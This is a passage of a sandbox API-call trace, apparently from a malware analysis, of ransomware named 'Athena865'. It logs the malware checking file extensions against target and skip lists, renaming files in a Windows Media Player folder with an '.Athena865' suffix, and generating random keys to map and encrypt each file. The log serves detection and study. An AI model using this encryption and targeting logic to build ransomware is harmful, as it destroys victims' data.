3 [0091.040] lstrcmpiW (lpString1="jpg", lpString2="lgc") returned -1 [0091.040] lstrlenW (lpString="lwx") returned 3 [0091.040] lstrcmpiW (lpString1="jpg", lpString2="lwx") returned -1 [0091.040] lstrlenW (lpString="maf") returned 3 [0091.040] lstrcmpiW (lpString1="jpg", lpString2="maf") returned -1 [0091.040] lstrlenW (lpString="maq") returned 3 [0091.040] lstrcmpiW (lpString1="jpg", lpString2="maq") returned -1 [0091.040] lstrlenW (lpString="mar") returned 3 [0091.040] lstrcmpiW (lpString1="jpg", lpString2="mar") returned -1 [0091.040] lstrlenW (lpString="marshal") returned 7 [0091.040] lstrcmpiW (lpString1="120.jpg", lpString2="marshal") returned -1 [0091.040] lstrlenW (lpString="mas") returned 3 [0091.040] lstrcmpiW (lpString1="jpg", lpString2="mas") returned -1 [0091.040] lstrlenW (lpString="mav") returned 3 [0091.040] lstrcmpiW (lpString1="jpg", lpString2="mav") returned -1 [0091.040] lstrlenW (lpString="maw") returned 3 [0091.040] lstrcmpiW (lpString1="jpg", lpString2="maw") returned -1 [0091.040] lstrlenW (lpString="mdbhtml") returned 7 [0091.040] lstrcmpiW (lpString1="120.jpg", lpString2="mdbhtml") returned -1 [0091.040] lstrlenW (lpString="mdn") returned 3 [0091.041] lstrcmpiW (lpString1="jpg", lpString2="mdn") returned -1 [0091.041] lstrlenW (lpString="mdt") returned 3 [0091.041] lstrcmpiW (lpString1="jpg", lpString2="mdt") returned -1 [0091.041] lstrlenW (lpString="mfd") returned 3 [0091.041] lstrcmpiW (lpString1="jpg", lpString2="mfd") returned -1 [0091.041] lstrlenW (lpString="mpd") returned 3 [0091.041] lstrcmpiW (lpString1="jpg", lpString2="mpd") returned -1 [0091.041] lstrlenW (lpString="mrg") returned 3 [0091.041] lstrcmpiW (lpString1="jpg", lpString2="mrg") returned -1 [0091.041] lstrlenW (lpString="mud") returned 3 [0091.041] lstrcmpiW (lpString1="jpg", lpString2="mud") returned -1 [0091.041] lstrlenW (lpString="mwb") returned 3 [0091.041] lstrcmpiW (lpString1="jpg", lpString2="mwb") returned -1 [0091.041] lstrlenW (lpString="myd") returned 3 [0091.041] lstrcmpiW (lpString1="jpg", lpString2="myd") returned -1 [0091.041] lstrlenW (lpString="ndf") returned 3 [0091.041] lstrcmpiW (lpString1="jpg", lpString2="ndf") returned -1 [0091.041] lstrlenW (lpString="nnt") returned 3 [0091.041] lstrcmpiW (lpString1="jpg", lpString2="nnt") returned -1 [0091.041] lstrlenW (lpString="nrmlib") returned 6 [0091.041] lstrcmpiW (lpString1="20.jpg", lpString2="nrmlib") returned -1 [0091.041] lstrlenW (lpString="ns2") returned 3 [0091.041] lstrcmpiW (lpString1="jpg", lpString2="ns2") returned -1 [0091.041] lstrlenW (lpString="ns3") returned 3 [0091.041] lstrcmpiW (lpString1="jpg", lpString2="ns3") returned -1 [0091.041] lstrlenW (lpString="ns4") returned 3 [0091.041] lstrcmpiW (lpString1="jpg", lpString2="ns4") returned -1 [0091.041] lstrlenW (lpString="nsf") returned 3 [0091.041] lstrcmpiW (lpString1="jpg", lpString2="nsf") returned -1 [0091.042] lstrlenW (lpString="nv") returned 2 [0091.042] lstrcmpiW (lpString1="pg", lpString2="nv") returned 1 [0091.042] lstrlenW (lpString="nv2") returned 3 [0091.042] lstrcmpiW (lpString1="jpg", lpString2="nv2") returned -1 [0091.042] lstrlenW (lpString="nwdb") returned 4 [0091.042] lstrcmpiW (lpString1=".jpg", lpString2="nwdb") returned -1 [0091.042] lstrlenW (lpString="nyf") returned 3 [0091.042] lstrcmpiW (lpString1="jpg", lpString2="nyf") returned -1 [0091.042] lstrlenW (lpString="odb") returned 3 [0091.042] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1 [0091.042] lstrlenW (lpString="odb") returned 3 [0091.042] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1 [0091.042] lstrlenW (lpString="oqy") returned 3 [0091.042] lstrcmpiW (lpString1="jpg", lpString2="oqy") returned -1 [0091.042] lstrlenW (lpString="ora") returned 3 [0091.042] lstrcmpiW (lpString1="jpg", lpString2="ora") returned -1 [0091.042] lstrlenW (lpString="orx") returned 3 [0091.042] lstrcmpiW (lpString1="jpg", lpString2="orx") returned -1 [0091.042] lstrlenW (lpString="owc") returned 3 [0091.042] lstrcmpiW (lpString1="jpg", lpString2="owc") returned -1 [0091.042] lstrlenW (lpString="p96") returned 3 [0091.042] lstrcmpiW (lpString1="jpg", lpString2="p96") returned -1 [0091.042] lstrlenW (lpString="p97") returned 3 [0091.042] lstrcmpiW (lpString1="jpg", lpString2="p97") returned -1 [0091.042] lstrlenW (lpString="pan") returned 3 [0091.042] lstrcmpiW (lpString1="jpg", lpString2="pan") returned -1 [0091.042] lstrlenW (lpString="pdb") returned 3 [0091.042] lstrcmpiW (lpString1="jpg", lpString2="pdb") returned -1 [0091.042] lstrlenW (lpString="pdm") returned 3 [0091.043] lstrcmpiW (lpString1="jpg", lpString2="pdm") returned -1 [0091.043] lstrlenW (lpString="pnz") returned 3 [0091.043] lstrcmpiW (lpString1="jpg", lpString2="pnz") returned -1 [0091.043] lstrlenW (lpString="qry") returned 3 [0091.043] lstrcmpiW (lpString1="jpg", lpString2="qry") returned -1 [0091.043] lstrlenW (lpString="qvd") returned 3 [0091.043] lstrcmpiW (lpString1="jpg", lpString2="qvd") returned -1 [0091.043] lstrlenW (lpString="rbf") returned 3 [0091.043] lstrcmpiW (lpString1="jpg", lpString2="rbf") returned -1 [0091.043] lstrlenW (lpString="rctd") returned 4 [0091.043] lstrcmpiW (lpString1=".jpg", lpString2="rctd") returned -1 [0091.043] lstrlenW (lpString="rod") returned 3 [0091.043] lstrcmpiW (lpString1="jpg", lpString2="rod") returned -1 [0091.043] lstrlenW (lpString="rodx") returned 4 [0091.043] lstrcmpiW (lpString1=".jpg", lpString2="rodx") returned -1 [0091.043] lstrlenW (lpString="rpd") returned 3 [0091.043] lstrcmpiW (lpString1="jpg", lpString2="rpd") returned -1 [0091.043] lstrlenW (lpString="rsd") returned 3 [0091.043] lstrcmpiW (lpString1="jpg", lpString2="rsd") returned -1 [0091.043] lstrlenW (lpString="sas7bdat") returned 8 [0091.043] lstrcmpiW (lpString1="_120.jpg", lpString2="sas7bdat") returned -1 [0091.043] lstrlenW (lpString="sbf") returned 3 [0091.043] lstrcmpiW (lpString1="jpg", lpString2="sbf") returned -1 [0091.043] lstrlenW (lpString="scx") returned 3 [0091.043] lstrcmpiW (lpString1="jpg", lpString2="scx") returned -1 [0091.043] lstrlenW (lpString="sdb") returned 3 [0091.043] lstrcmpiW (lpString1="jpg", lpString2="sdb") returned -1 [0091.043] lstrlenW (lpString="sdc") returned 3 [0091.043] lstrcmpiW (lpString1="jpg", lpString2="sdc") returned -1 [0091.043] lstrlenW (lpString="sdf") returned 3 [0091.044] lstrcmpiW (lpString1="jpg", lpString2="sdf") returned -1 [0091.044] lstrlenW (lpString="sis") returned 3 [0091.044] lstrcmpiW (lpString1="jpg", lpString2="sis") returned -1 [0091.044] lstrlenW (lpString="spq") returned 3 [0091.044] lstrcmpiW (lpString1="jpg", lpString2="spq") returned -1 [0091.044] lstrlenW (lpString="te") returned 2 [0091.044] lstrcmpiW (lpString1="pg", lpString2="te") returned -1 [0091.044] lstrlenW (lpString="teacher") returned 7 [0091.044] lstrcmpiW (lpString1="120.jpg", lpString2="teacher") returned -1 [0091.044] lstrlenW (lpString="tmd") returned 3 [0091.044] lstrcmpiW (lpString1="jpg", lpString2="tmd") returned -1 [0091.044] lstrlenW (lpString="tps") returned 3 [0091.044] lstrcmpiW (lpString1="jpg", lpString2="tps") returned -1 [0091.044] lstrlenW (lpString="trc") returned 3 [0091.044] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1 [0091.044] lstrlenW (lpString="trc") returned 3 [0091.044] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1 [0091.044] lstrlenW (lpString="trm") returned 3 [0091.044] lstrcmpiW (lpString1="jpg", lpString2="trm") returned -1 [0091.044] lstrlenW (lpString="udb") returned 3 [0091.044] lstrcmpiW (lpString1="jpg", lpString2="udb") returned -1 [0091.044] lstrlenW (lpString="udl") returned 3 [0091.044] lstrcmpiW (lpString1="jpg", lpString2="udl") returned -1 [0091.044] lstrlenW (lpString="usr") returned 3 [0091.044] lstrcmpiW (lpString1="jpg", lpString2="usr") returned -1 [0091.044] lstrlenW (lpString="v12") returned 3 [0091.044] lstrcmpiW (lpString1="jpg", lpString2="v12") returned -1 [0091.044] lstrlenW (lpString="vis") returned 3 [0091.044] lstrcmpiW (lpString1="jpg", lpString2="vis") returned -1 [0091.044] lstrlenW (lpString="vpd") returned 3 [0091.045] lstrcmpiW (lpString1="jpg", lpString2="vpd") returned -1 [0091.045] lstrlenW (lpString="vvv") returned 3 [0091.045] lstrcmpiW (lpString1="jpg", lpString2="vvv") returned -1 [0091.045] lstrlenW (lpString="wdb") returned 3 [0091.045] lstrcmpiW (lpString1="jpg", lpString2="wdb") returned -1 [0091.045] lstrlenW (lpString="wmdb") returned 4 [0091.045] lstrcmpiW (lpString1=".jpg", lpString2="wmdb") returned -1 [0091.045] lstrlenW (lpString="wrk") returned 3 [0091.045] lstrcmpiW (lpString1="jpg", lpString2="wrk") returned -1 [0091.045] lstrlenW (lpString="xdb") returned 3 [0091.045] lstrcmpiW (lpString1="jpg", lpString2="xdb") returned -1 [0091.045] lstrlenW (lpString="xld") returned 3 [0091.045] lstrcmpiW (lpString1="jpg", lpString2="xld") returned -1 [0091.045] lstrlenW (lpString="xmlff") returned 5 [0091.045] lstrcmpiW (lpString1="0.jpg", lpString2="xmlff") returned -1 [0091.045] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_120.jpg.Athena865") returned 74 [0091.045] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_120.jpg" (normalized: "c:\\program files\\windows media player\\media renderer\\dmr_120.jpg"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_120.jpg.Athena865" (normalized: "c:\\program files\\windows media player\\media renderer\\dmr_120.jpg.athena865"), dwFlags=0x1) returned 1 [0091.046] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_120.jpg.Athena865" (normalized: "c:\\program files\\windows media player\\media renderer\\dmr_120.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0091.046] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2979) returned 1 [0091.046] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0091.046] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0091.046] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0091.046] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0091.047] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0091.047] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.047] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xeb0, lpName=0x0) returned 0x154 [0091.049] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xeb0) returned 0x100000 [0091.049] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0091.050] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0091.050] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.050] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0091.050] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0091.050] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0091.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0091.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0091.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0091.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0091.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0091.051] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0091.051] CloseHandle (hObject=0x154) returned 1 [0091.051] CloseHandle (hObject=0x17c) returned 1 [0091.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0091.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0091.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0091.051] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828ce928, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x828ce928, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x898f4b97, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x3a1c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DMR_120.png", cAlternateFileName="")) returned 1 [0091.051] lstrcmpiW (lpString1="DMR_120.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0091.052] lstrcmpiW (lpString1="DMR_120.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0091.052] lstrcmpiW (lpString1="DMR_120.png", lpString2=".") returned 1 [0091.052] lstrcmpiW (lpString1="DMR_120.png", lpString2="..") returned 1 [0091.052] lstrcmpiW (lpString1="DMR_120.png", lpString2="windows") returned -1 [0091.052] lstrcmpiW (lpString1="DMR_120.png", lpString2="bootmgr") returned 1 [0091.052] lstrcmpiW (lpString1="DMR_120.png", lpString2="temp") returned -1 [0091.052] lstrcmpiW (lpString1="DMR_120.png", lpString2="pagefile.sys") returned -1 [0091.052] lstrcmpiW (lpString1="DMR_120.png", lpString2="boot") returned 1 [0091.052] lstrcmpiW (lpString1="DMR_120.png", lpString2="ids.txt") returned -1 [0091.052] lstrcmpiW (lpString1="DMR_120.png", lpString2="ntuser.dat") returned -1 [0091.052] lstrcmpiW (lpString1="DMR_120.png", lpString2="perflogs") returned -1 [0091.052] lstrcmpiW (lpString1="DMR_120.png", lpString2="MSBuild") returned -1 [0091.052] lstrlenW (lpString="DMR_120.png") returned 11 [0091.052] lstrcpyW (in: lpString1=0x241e8b2, lpString2="DMR_120.png" | out: lpString1="DMR_120.png") returned="DMR_120.png" [0091.052] lstrlenW (lpString="DMR_120.png") returned 11 [0091.052] lstrlenW (lpString="Athena865") returned 9 [0091.052] lstrcmpiW (lpString1="R_120.png", lpString2="Athena865") returned 1 [0091.052] lstrlenW (lpString=".dll") returned 4 [0091.052] lstrcmpiW (lpString1="DMR_120.png", lpString2=".dll") returned 1 [0091.052] lstrlenW (lpString=".lnk") returned 4 [0091.052] lstrcmpiW (lpString1="DMR_120.png", lpString2=".lnk") returned 1 [0091.052] lstrlenW (lpString=".ini") returned 4 [0091.052] lstrcmpiW (lpString1="DMR_120.png", lpString2=".ini") returned 1 [0091.052] lstrlenW (lpString=".sys") returned 4 [0091.052] lstrcmpiW (lpString1="DMR_120.png", lpString2=".sys") returned 1 [0091.052] lstrlenW (lpString="DMR_120.png") returned 11 [0091.052] lstrlenW (lpString="bak") returned 3 [0091.052] lstrcmpiW (lpString1="png", lpString2="bak") returned 1 [0091.052] lstrlenW (lpString="ba_") returned 3 [0091.052] lstrcmpiW (lpString1="png", lpString2="ba_") returned 1 [0091.052] lstrlenW (lpString="dbb") returned 3 [0091.053] lstrcmpiW (lpString1="png", lpString2="dbb") returned 1 [0091.053] lstrlenW (lpString="vmdk") returned 4 [0091.053] lstrcmpiW (lpString1=".png", lpString2="vmdk") returned -1 [0091.053] lstrlenW (lpString="rar") returned 3 [0091.053] lstrcmpiW (lpString1="png", lpString2="rar") returned -1 [0091.053] lstrlenW (lpString="zip") returned 3 [0091.053] lstrcmpiW (lpString1="png", lpString2="zip") returned -1 [0091.053] lstrlenW (lpString="tgz") returned 3 [0091.053] lstrcmpiW (lpString1="png", lpString2="tgz") returned -1 [0091.053] lstrlenW (lpString="vbox") returned 4 [0091.053] lstrcmpiW (lpString1=".png", lpString2="vbox") returned -1 [0091.053] lstrlenW (lpString="vdi") returned 3 [0091.053] lstrcmpiW (lpString1="png", lpString2="vdi") returned -1 [0091.053] lstrlenW (lpString="vhd") returned 3 [0091.053] lstrcmpiW (lpString1="png", lpString2="vhd") returned -1 [0091.053] lstrlenW (lpString="vhdx") returned 4 [0091.053] lstrcmpiW (lpString1=".png", lpString2="vhdx") returned -1 [0091.053] lstrlenW (lpString="avhd") returned 4 [0091.053] lstrcmpiW (lpString1=".png", lpString2="avhd") returned -1 [0091.053] lstrlenW (lpString="db") returned 2 [0091.053] lstrcmpiW (lpString1="ng", lpString2="db") returned 1 [0091.053] lstrlenW (lpString="db2") returned 3 [0091.053] lstrcmpiW (lpString1="png", lpString2="db2") returned 1 [0091.053] lstrlenW (lpString="db3") returned 3 [0091.053] lstrcmpiW (lpString1="png", lpString2="db3") returned 1 [0091.053] lstrlenW (lpString="dbf") returned 3 [0091.053] lstrcmpiW (lpString1="png", lpString2="dbf") returned 1 [0091.053] lstrlenW (lpString="mdf") returned 3 [0091.053] lstrcmpiW (lpString1="png", lpString2="mdf") returned 1 [0091.053] lstrcmpiW (lpString1="png", lpString2="mdb") returned 1 [0091.054] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_120.png.Athena865") returned 74 [0091.054] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_120.png" (normalized: "c:\\program files\\windows media player\\media renderer\\dmr_120.png"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_120.png.Athena865" (normalized: "c:\\program files\\windows media player\\media renderer\\dmr_120.png.athena865"), dwFlags=0x1) returned 1 [0091.055] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_120.png.Athena865" (normalized: "c:\\program files\\windows media player\\media renderer\\dmr_120.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0091.055] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14876) returned 1 [0091.055] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0091.056] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0091.056] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0091.056] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0091.056] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0091.056] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.057] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3d20, lpName=0x0) returned 0x154 [0091.058] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3d20) returned 0x100000 [0091.059] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0091.060] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0091.060] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.060] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0091.060] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0091.060] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0091.060] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0091.060] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.060] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0091.060] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0091.060] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0091.060] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.060] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0091.061] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0091.061] CloseHandle (hObject=0x154) returned 1 [0091.061] CloseHandle (hObject=0x17c) returned 1 [0091.061] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0091.061] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0091.061] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0091.061] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828a87cb, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x828a87cb, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x898f4b97, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DMR_48.jpg", cAlternateFileName="")) returned 1 [0091.061] lstrcmpiW (lpString1="DMR_48.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0091.061] lstrcmpiW (lpString1="DMR_48.jpg", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0091.061] lstrcmpiW (lpString1="DMR_48.jpg", lpString2=".") returned 1 [0091.061] lstrcmpiW (lpString1="DMR_48.jpg", lpString2="..") returned 1 [0091.061] lstrcmpiW (lpString1="DMR_48.jpg", lpString2="windows") returned -1 [0091.061] lstrcmpiW (lpString1="DMR_48.jpg", lpString2="bootmgr") returned 1 [0091.061] lstrcmpiW (lpString1="DMR_48.jpg", lpString2="temp") returned -1 [0091.061] lstrcmpiW (lpString1="DMR_48.jpg", lpString2="pagefile.sys") returned -1 [0091.061] lstrcmpiW (lpString1="DMR_48.jpg", lpString2="boot") returned 1 [0091.061] lstrcmpiW (lpString1="DMR_48.jpg", lpString2="ids.txt") returned -1 [0091.061] lstrcmpiW (lpString1="DMR_48.jpg", lpString2="ntuser.dat") returned -1 [0091.062] lstrcmpiW (lpString1="DMR_48.jpg", lpString2="perflogs") returned -1 [0091.062] lstrcmpiW (lpString1="DMR_48.jpg", lpString2="MSBuild") returned -1 [0091.062] lstrlenW (lpString="DMR_48.jpg") returned 10 [0091.062] lstrcpyW (in: lpString1=0x241e8b2, lpString2="DMR_48.jpg" | out: lpString1="DMR_48.jpg") returned="DMR_48.jpg" [0091.062] lstrlenW (lpString="DMR_48.jpg") returned 10 [0091.062] lstrlenW (lpString="Athena865") returned 9 [0091.062] lstrcmpiW (lpString1="MR_48.jpg", lpString2="Athena865") returned 1 [0091.062] lstrlenW (lpString=".dll") returned 4 [0091.062] lstrcmpiW (lpString1="DMR_48.jpg", lpString2=".dll") returned 1 [0091.062] lstrlenW (lpString=".lnk") returned 4 [0091.062] lstrcmpiW (lpString1="DMR_48.jpg", lpString2=".lnk") returned 1 [0091.062] lstrlenW (lpString=".ini") returned 4 [0091.062] lstrcmpiW (lpString1="DMR_48.jpg", lpString2=".ini") returned 1 [0091.062] lstrlenW (lpString=".sys") returned 4 [0091.062] lstrcmpiW (lpString1="DMR_48.jpg", lpString2=".sys") returned 1 [0091.062] lstrlenW (lpString="DMR_48.jpg") returned 10 [0091.062] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_48.jpg.Athena865") returned 73 [0091.062] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_48.jpg" (normalized: "c:\\program files\\windows media player\\media renderer\\dmr_48.jpg"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_48.jpg.Athena865" (normalized: "c:\\program files\\windows media player\\media renderer\\dmr_48.jpg.athena865"), dwFlags=0x1) returned 1 [0091.064] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_48.jpg.Athena865" (normalized: "c:\\program files\\windows media player\\media renderer\\dmr_48.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0091.064] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1220) returned 1 [0091.064] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0091.065] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0091.065] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0091.065] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0091.065] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0091.065] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.066] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7d0, lpName=0x0) returned 0x154 [0091.067] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7d0) returned 0x100000 [0091.068] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0091.069] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0091.069] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.069] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0091.069] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0091.069] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0091.069] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0091.069] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.069] RtlAllocateHeap 